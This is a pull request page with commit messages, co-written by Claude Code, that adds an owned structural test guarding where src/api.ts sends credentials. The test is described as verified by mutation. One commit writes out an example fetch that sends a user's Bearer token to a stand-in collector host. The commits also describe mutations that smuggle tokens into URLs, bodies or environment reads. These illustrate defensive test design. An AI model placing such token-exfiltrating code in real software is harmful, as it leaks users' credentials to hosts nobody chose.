test(api): pin the credential invariants in src/api.ts from scripts/ - #87
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`src/api.ts` is 1,724 lines, is where every outbound credential is attached,
and is not in CODEOWNERS. This repository is public, so a plausible-looking
change to where or under what condition a credential is sent needs one ordinary
reviewer rather than a release signer.
Adding `src/api.ts` to CODEOWNERS is the wrong fix: it puts the three signers
on a file that churns constantly, which is the bottleneck the deliberately
missing `*` line exists to avoid.
Instead, assert the credential SHAPE from `scripts/`, which is already owned.
The gate and the thing that can weaken the gate then sit at different review
bars: loosening credential attachment in `src/api.ts` fails this test, and
silencing this test needs a signer. The same assertions in `src/api.test.ts`
would buy nothing, because both files are unowned.
Four invariants, over the parsed source of `src/api.ts`:
1. Every `Authorization` value is a template of exactly `Bearer ` plus one
bare identifier, and that identifier is a parameter of the enclosing
function - never a literal, never `process.env`, never module scope.
2. `x-wego-id-token` is set exactly once, in the THEN branch of
`identityAssertion.allowed && identityAssertion.token`.
3. `refreshIdentityAssertion` assigns no property but `token`, and carries
the previous state forward by spreading it. "Consent is never re-decided"
was a comment; now it is a test.
4. A closed allowlist of every header name the file may attach, by
`headers.set` and by inline `fetch` header object alike. This is the one
that matters: it fails BY DEFAULT on anything new, so the credential path
nobody has thought of yet goes red until a signer reads it.
Parsed with `typescript` (already a devDependency, it backs `bun run
typecheck`) rather than matched with regexes: invariants 2 and 3 are claims
about SCOPE, and a `headers.set` moved one line out of a guard's block looks
identical to grep.
Every assertion was watched fail before being trusted - twelve mutations of
`src/api.ts`, three per invariant, each reverted after: a hardcoded bearer
literal, a module-scope token, a smuggled second interpolation; the id-token
set degated, ungated, and duplicated into an `else`; a refresh that flips
`allowed`, one that assigns it on a second line, one that drops the spread; a
brand-new header, a dynamic header name, and a new credential added to an
inline header object. All twelve went red. No behaviour in `src/api.ts` is
changed by this commit, and every invariant holds on current `main`.
The test's limits are written into its header, because a reader who
over-trusts it is a worse outcome than not having it: it asserts what it
asserts, a novel credential path can satisfy every rule, a reviewer still has
to think, and it does not protect `src/api.ts` from a signer. Friction and
detection, not prevention.
Also owns `contract/openapi.json`, for REVIEW VISIBILITY and not for runtime
reach - the comment says which, because "for security" without a named
mechanism is not a reason. Nothing in that file executes: it is read at build
time to emit `src/api-types.d.ts`, which is uncommitted, imported only with
`import type`, and erased before it could reach the binary; endpoints come from
the already-owned `src/target.ts`. What it does control is the api<->cli
contract check itself, whose generator and drift test were both already owned
while their input was not - and the CI drift step is `continue-on-error` by
design, so a hand-edited contract warns and merges. At ~7,300 lines a changed
enum or a relaxed `required` is invisible in review. Low urgency, recorded as
such.
Closes REPO-2 of the 2026-09-22 audit; refs wego/foundations#221.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_017HfAf9uJdm3Q76vvk2Tidz
Co-Authored-By: Claude <noreply@anthropic.com>
sunny-wego
requested review from
chuyeowego and
yeouchien-wego
as code owners
September 22, 2026 04:18
|
Navigate logical layers of code changes, visualize relationships, and explore their blast radius. 📝 WalkthroughWalkthroughThe pull request adds CODEOWNERS coverage for ChangesCredential Shape Checks
API Contract Ownership
Priority: ⬇️ Low Estimated code review effort: 3 (Moderate) | ~20 minutes Change: Other Merge Risk: 🟡 Moderate · up to The new safeguards can be bypassed and add dependency execution beside release credentials. Isolate the test and close the AST coverage gaps before merging. 🚥 Pre-merge checks | ✅ 4✅ Passed checks (4 passed)
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Actionable comments posted: 4
- 🪄 Fix CodeRabbit comments on this PR
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Inline comments:
In `@scripts/api-credential-shape.test.ts`:
- Around line 185-203: Replace the ancestor parameter-name comparison around
parameterNames with TypeScript Program and TypeChecker symbol resolution.
Resolve the interpolated identifier’s symbol and require its declaration to be a
parameter belonging to the nearest enclosing function, rejecting shadowed locals
and identifiers captured from outer functions.
- Around line 275-305: Update the refresh implementation covered by the existing
AST checks to assign the refreshed object back to identityAssertion exactly
once. Ensure that assignment uses an object literal spreading the prior
identityAssertion state and sets token from the function parameter, while
preserving the existing token and allowed-property validation behavior.
- Around line 106-112: Update the collector validation in the relevant test
helpers around headerSetCalls to reject unrecognized .set receivers,
SpreadAssignment entries in inline header bags, and non-literal header bags
unless they can be safely traced; retain acceptance for recognized headers and
preserve the expected name sets.
- Line 61: Keep the api-credential-shape test, including its typescript
dependency, out of release jobs that access signing identities or blob tokens.
Run it in a separate unprivileged CI job and make the release job depend on that
job’s successful result.
After applying the fix, consider running `coderabbit review --agent` for local
review. Visit https://docs.coderabbit.ai/cli?utm_source=ghpr
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Configuration used: Repository: wego/cli/.coderabbit.yaml
Review profile: ASSERTIVE
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📒 Files selected for processing (2)
.github/CODEOWNERSscripts/api-credential-shape.test.ts
Included review availability: 3 reviews are currently available. Your included PR review attempts over the past 7 days set your current allowance at 5 reviews per hour.
Review found three ways to weaken `src/api.ts` while keeping this test green.
Each is now a mutation in the harness, and each goes red.
1. A LOCAL COULD SHADOW THE PARAMETER. Invariant 1 compared identifier TEXT
against the enclosing function's parameter names, so a block-scoped
`const accessToken = process.env.WEGO_TOKEN ?? ""` inside the retry loop
satisfied it while sourcing the credential from the environment. Name
matching cannot answer a question about binding, so this now builds a
`ts.Program` and resolves the interpolated identifier's SYMBOL: its
declaration must be a parameter, and a parameter of the NEAREST enclosing
function - not of an outer one it merely closes over.
`noResolve` + `noLib` keep the program to this one file; `typescript` was
already a devDependency, and `bun run test` runs only in unprivileged jobs
(`ci-cli`, and `release-cli.yml`'s `prepare`, which holds neither
`id-token: write` nor the store environment - `workflow-shape.test.ts` is
what keeps that true).
2. HEADER WRITES THE COLLECTORS DID NOT SEE. `headers.set` was matched on a
receiver named exactly `headers`, so a second bag - `const requestHeaders =
new Headers(); requestHeaders.set("x-secret", token)` - was invisible, and
the allowlist stayed satisfied. Receivers are now matched two ways (bound to
a `new Headers(...)`, or a headerish name), and the number of header bags is
itself asserted: exactly one, named `headers`.
3. INLINE HEADER BAGS COULD GO OPAQUE. The inline collector silently dropped
`SpreadAssignment`, so `{ ...credentialHeaders, "Content-Type": ... }` added
arbitrary headers with the name list unchanged; and a `headers:` whose value
was not an object literal (`headers: buildHeaders(token)`) was skipped
entirely. Both are now failures in their own right - a bag the collector
cannot read is the case an allowlist is worth least in, so it errors rather
than passes.
Also requires `refreshIdentityAssertion` to actually assign its `token`
PARAMETER. The previous allowlist ("no property but `token`") was satisfied by a
function that assigned nothing, and by `token: identityAssertion.token`, which
refreshes nothing.
The mutation harness grew from 12 cases to 17. All 17 go red; `git diff
src/api.ts` is clean afterwards. Still no runtime change to `src/api.ts`, and
every invariant holds on current `main`.
One review point taken as already satisfied rather than actioned: keeping
`typescript` out of credential-bearing jobs. `release-cli.yml`'s `prepare` job,
the only release job that runs `bun run test`, declares no `permissions` and no
`environment`, so it inherits `contents: read` and can neither mint a Fulcio
certificate nor reach the blob store; `sign` and `release` hold those and
`needs:` prepare. `bun run typecheck` already executes the same package in that
same job. Noted in the file header so the next reader does not have to re-derive
it.
Refs REPO-2, wego/foundations#221.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_017HfAf9uJdm3Q76vvk2Tidz
Co-Authored-By: Claude <noreply@anthropic.com>
Invariants 1-4 all describe the header bag of a request that already goes
through `fetchOrUnreachable`. That left the largest hole in the file open: a
request that never goes through it at all.
await fetch("https://collector.example/ingest", {
headers: { Authorization: `Bearer ${accessToken}` },
});
Every earlier rule passes on that line. The header name is allowlisted, the
value is a `Bearer` template, and the token is a parameter of the enclosing
function. It also sends the user's access token to a host nobody chose - the
most severe thing in REPO-2's threat model, and the one thing the first version
of this test did not catch. The allowlists guard the payload at the door; this
guards the door.
5a - REACHABILITY. `src/api.ts` has exactly one outbound call site, and it is
reached from exactly two places. All three facts are now asserted: the global
`fetch` is referenced only as the injected `HttpFetch` default; the chokepoint
issues exactly one request, through that injected parameter rather than a
module-scope binding; and the set of functions calling `fetchOrUnreachable` is
a closed allowlist (`authedJsonGet`, `authedJsonPost`). A new request path -
a new endpoint, a retry helper, a "quick" health check - has to add its name in
`scripts/`, in front of a release signer, before it can exist.
5b - TOKEN FLOW. An `accessToken` parameter may only be FORWARDED into another
parameter also named `accessToken`, or interpolated as the sole span of the
`Bearer ` template. Anything else fails: a token concatenated into a URL,
packed into a JSON body, or handed to an unrelated function never touches a
`headers.set` and never touches an `Authorization` property, so invariants 1-4
are all silent on it. Header rules cannot see a token in a query string.
`src/target.ts` and `src/config.ts` - both already code-owned - decide which
HOST may receive a credential and refuse cleartext. 5a is what stops
`src/api.ts` from going around them.
Six new mutations, all watched fail: a raw `fetch` to a hardcoded host carrying
the token; an unlisted new caller of the chokepoint; the chokepoint bypassing
its injected transport; the token concatenated into a query string; the token
packed into the request body; the token handed to `readApiError`. The full
harness is now 23 mutations and all 23 go red. `git diff src/api.ts` is clean
afterwards, and every invariant holds on current `main`.
One resolver bug found by that exercise and fixed here: in `{ ...body,
accessToken }` the identifier is the PROPERTY's name, so asking the checker
about it returns the property symbol rather than the variable being read.
`declarationOf` now resolves through the shorthand node. Without it, mutation
5b2 - a token packed into a request body - resolved to nothing and was silently
skipped, which is the worst failure mode a rule like this has: green because it
looked away.
Context for the scope change: this guard was originally sized against an audit
premise I had not tested. `wego/cli` is open source and takes outside
contributions, so the premise holds and the chokepoint is worth pinning
properly.
Refs REPO-2, wego/foundations#221.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_017HfAf9uJdm3Q76vvk2Tidz
Co-Authored-By: Claude <noreply@anthropic.com>
`src/api.test.ts` already tested most of what this file asserted, and tested it
better. It drives the real functions through the injected `HttpFetch` and reads
the `Headers` that come out:
- `src/api.test.ts:79` - the Bearer header carries the token it was passed
- `src/api.test.ts:160` - a declining user sends no id-token
- `src/api.test.ts:173` - "a refresh cannot turn the header on for someone
who opted out"
Those are the same claims the old invariants 1, 2 and 3 made by parsing source
text, and the behavioural versions are strictly better: they survive refactors.
The structural ones did not. A probe of behaviour-PRESERVING edits failed four
of five - an equivalent refresh written without a spread, a rename of the
header bag, a rename of the token parameter, and reordering the two halves of
the consent guard. Each of those is correct code that went red. A guard that
fails correct work teaches people to edit the guard instead of reading it, and
then it is decoration.
So this file now keeps only what a behavioural test STRUCTURALLY cannot say -
the claims about absence, which you cannot make by calling a function and
watching what comes back:
- no header leaves this file that is not on a list;
- there is exactly one place that issues a request, reached from a closed set
of callers;
- a credential never reaches a URL, a body, or any other call.
Plus one deliberate exception: consent is never re-decided. That IS behavioural
and IS tested in `src/api.test.ts`, but that file is unowned, so one pull
request could flip the behaviour and delete the test that noticed, and every
other rule here would stay green. Silently sending an identity assertion for a
user who declined is the quietest bad change available in `src/api.ts`, so it
gets a second, owned guard. The reason is written at that block.
23 assertions -> 13. The rules that remain are stated as properties rather than
spellings: the guard is a SET of conjuncts (`a && b` and `b && a` both pass);
`allowed` may be READ BACK but never given a new value; the header bag is
pinned by COUNT, not by name; and the credential parameters are DERIVED from
the `Bearer` template by closure instead of being matched on the identifier
`accessToken`, so a rename no longer switches the rule off.
Verified both directions, because a simplification is only safe if the coverage
survives it:
- all 22 mutations run against BOTH suites. Every one is still caught by at
least one. The five the structural file no longer catches (hardcoded bearer
literal, module-scope token, extra interpolation, a shadowing local, a
refresh assigning a non-parameter) are all caught by `src/api.test.ts` -
which is the evidence they were duplication, not coverage. The nine that
`src/api.test.ts` cannot catch (a new header, a dynamic header name, a new
inline credential, a second header bag, a new request path, a token in a
URL / a body / another call) are exactly what this file is for.
- the false-positive probe is now 0 of 7. Adding a genuinely new header is
still red, by design.
Refs REPO-2, wego/foundations#221.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_017HfAf9uJdm3Q76vvk2Tidz
Co-Authored-By: Claude <noreply@anthropic.com>
7 tasks
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Closes REPO-2 of the security audit that concluded 2026-09-22. Refs wego/foundations#221.
The finding
src/api.tsattaches every outbound credential — theBeareraccess token (:353,:404) and thex-wego-id-tokenidentity assertion (:318) — and is not in.github/CODEOWNERS. The repo is public and takes outside contributions, so a plausible-looking change to where or under what condition a credential is sent needs one ordinary reviewer, not a release signer.Adding
src/api.tsto CODEOWNERS is the wrong fix. It puts three signers on ~1,700 churning lines — the bottleneck the deliberately-missing*line exists to avoid.The design
A structural test in
scripts/, which is code-owned:That location is the mechanism. The gate and the thing that can weaken the gate sit at different review bars: loosening credential handling in
src/api.tsfails this file, and silencing this file needs a signer. Same protection CODEOWNERS onapi.tswould give, without the bottleneck.Follows an existing pattern —
scripts/workflow-shape.test.ts,workflow-lanes.test.ts,plugin-conformance.test.tsall read and assert over files they do not own.What it asserts — and what it deliberately doesn't
This is the structural half of a pair.
src/api.test.tsowns behaviour and owns it better, driving the real functions through the injectedHttpFetchand reading theHeadersthat come out.So this file keeps only claims about absence — the ones you cannot make by calling a function and watching what comes back:
fetchmay appear only as the injectedHttpFetchdefault.Bearertemplate by closure, not matched on the nameaccessToken, so a rename cannot switch the rule off.Plus one deliberate exception — consent is never re-decided. That is behavioural and is tested in
src/api.test.ts, but that file is unowned: one PR could flip the behaviour and delete the test that noticed, and every other rule here would stay green. Silently sending an identity assertion for a user who declined is the quietest bad change available insrc/api.ts, so it gets a second, owned guard.Why #2 and #3 exist
This line satisfies every header rule while shipping the user's token to a host nobody chose:
src/target.tsandsrc/config.ts— both already code-owned — decide which host may receive a credential and refuse cleartext. Rule 2 is what stopssrc/api.tsgoing around them. Rule 3 covers the other blind spot: a token in a query string or a request body never touches a header rule at all.Verification — both directions
Every mutation, run against both suites. A simplification is only safe if the coverage survives it, so all 22 attacks were run against
scripts/andsrc/api.test.ts:scripts/api.test.tsBearer "hunter2"elseallowedtotrueallowedon a second linefetchto a hardcoded host with the token22/22 caught by at least one suite.
git diff src/api.tsis clean afterwards. The top five rows are why the structural duplicates were removed —src/api.test.tsalready had them. The nine rows whereapi.test.tsis green are exactly what this file is for.False positives: 0 of 7. Behaviour-preserving edits that must stay green and do: an equivalent refresh without a spread, renaming the header bag, a complete rename of the token parameter, reordering the consent guard's conjuncts, adding a comment, extracting a constant. Adding a genuinely new header is still red, by design.
What changed across the three commits
ts.Program+ checker.src/api.test.tsin a more brittle form, so they're gone; what remains is stated as properties rather than spellings (guard as a conjunct set,allowedmay be read back, header bag pinned by count not name, credential params derived not named).What this does not protect — written into the file's comments
src/api.tsfrom a release signer, and is not meant to.The stronger fix remains a separate, owned
src/api-credentials.ts— an owned module makes this class of change impossible rather than detectable, and would reduce this file to its header allowlist. Out of scope here (a refactor of a 1,700-line file carries more risk than the finding), and worth tracking separately.contract/openapi.jsonis now code-owned — for a named mechanismImpact established rather than assumed: types only, nothing executes. It's read at build time by
scripts/generate-api-types.tsto emitsrc/api-types.d.ts— uncommitted, imported only viaimport type, erased before the binary. Endpoints come from the already-ownedsrc/target.ts. So this is not thebun.lockcase, and the comment does not claim it is.What it does control is the api↔cli contract check itself, whose generator and drift test were both already owned while their input was not. The CI drift step is
continue-on-errorby design (#76), so a hand-edited contract warns and merges. At ~7,300 lines a changed enum or a relaxedrequiredis invisible in review. Recorded as low urgency in the CODEOWNERS comment: the cost of being wrong is a weakened compile-time check, not a redirected token.Review
Touches
scripts/and.github/CODEOWNERS, so it needs a release-signer review. That is intended — it's the same property the test buys.Checks
bun test— 1682 pass, 0 fail across 66 filesbun run typecheck— cleanbun run lint— 7 warnings, all pre-existing (identical with and without this file)🤖 Generated with Claude Code
https://claude.ai/code/session_017HfAf9uJdm3Q76vvk2Tidz